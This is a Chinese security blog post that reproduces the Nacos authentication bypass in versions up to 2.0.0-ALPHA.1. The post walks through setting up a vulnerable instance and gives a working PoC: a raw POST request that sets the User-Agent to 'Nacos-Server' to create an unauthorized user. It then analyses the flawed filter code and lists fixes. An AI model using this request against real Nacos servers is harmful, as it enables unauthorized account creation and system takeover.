vlambda博客
学习文章列表

Alibaba Nacos权限认证绕过漏洞复现


上方蓝色字体关注我们,一起学安全!
作者: Menge&银空飞羽
本文字数:1157
阅读时长:3~4min
声明:请勿用作违法用途,否则后果自负


0x01 简介


Nacos(官方网站:http://nacos.io)是一个易于使用的平台,旨在用于动态服务发现,配置和服务管理。它可以帮助您轻松构建云本机应用程序和微服务平台。


0x02 漏洞概述


2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作


0x03 影响版本


Nacos <= 2.0.0-ALPHA.1


0x04 环境搭建


Nacos下载地址(github):
https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1



Linux搭建】
下载好后解压文件
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz

进入目录
,执行搭建命令
./startup.sh -m standalone

Windows搭建】
解压进入目录后执行搭建命令
cmd startup.cmd -m standalone

Alibaba Nacos权限认证绕过漏洞复现

接着访问 http ://your- i p:8848/nacos
默认账号密码nacos/nacos

Alibaba Nacos权限认证绕过漏洞复现

出现Nacos登录页面则表示搭建成功

0x05 漏洞复现


访问
http://your-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

可以查看到用户列表

Alibaba Nacos权限认证绕过漏洞复现

从上图可以发现,目前有一个用户nacos
漏洞利用,访问
http://your-ip:8848/nacos/v1/auth/users

POST传参:
usename=test1&password=test1

修改UA头为Nacos-Server
发送POST请求,返回码200,创建用户成功~!

Alibaba Nacos权限认证绕过漏洞复现

返回Nacos登录界面 test1/test1
登录成功!

Alibaba Nacos权限认证绕过漏洞复现

或者直接用burp打,构造数据包poc如下:
POST /nacos/v1/auth/users HTTP/1.1Host:your-ip:8848Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Nacos-ServerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodeContent-Length: 27
username=test&password=test

Alibaba Nacos权限认证绕过漏洞复现

利用成功!


0x06 漏洞分析


首先,入口点我们看一下github上相关issues的讨论


Alibaba Nacos权限认证绕过漏洞复现


别的不做讨论,只关注漏洞。


根据提出漏洞的大佬threedr3am描述,这个Nacos-Server是用来进行服务间的通信的白名单。比如服务A要访问服务B,如何知道服务A是服务,只需要在服务A访问服务B的时候UA上写成 Nacos-Server 即可。


正因为这样,所以当我们UA恶意改为Nacos-Server的时候,就会被误以为是服务间的通信,因此在白名单当中,绕过的认证。


这里用的是nacos-2.0.0-ALPHA.1的代码进行分析


关键代码在该文件下

/nacos-2.0.0-ALPHA.1/naming/src/main/java/com/alibaba/nacos/naming/web/TrafficReviseFilter.java


Alibaba Nacos权限认证绕过漏洞复现


TrafficReviseFilter继承了Filter用来处理请求,而里面的doFilter的就很明确了。注释中写道,当接收到其他节点服务的请求时应该被通过,如何验证是其他服务。


就是下面很简单的一个对于UA的一个判断逻辑

if (StringUtils.startsWith(agent, Constants.NACOS_SERVER_HEADER)) { filterChain.doFilter(req, resp); return; }


这个Constants.NACOS_SERVER_HEADER跟踪一下,正是Nacos-Server


Alibaba Nacos权限认证绕过漏洞复现


经过这一层的验证,那么则进入到filterChain 过滤器链中的下一个filter过滤器,继续接下来的请求。


0x07 修复方式



若业务环境允许,使用白名单限制相关web项目的访问来降低风险。

官方已发布最新安全版本,请及时下载升级至安全版本。


参考链接:
https://blog.csdn.net/xuandao_ahfengren/article/details/112724542
https://mp.weixin.qq.com/s/YokFDDAPKQwMmXJs5oMCEg
https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=3549




阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行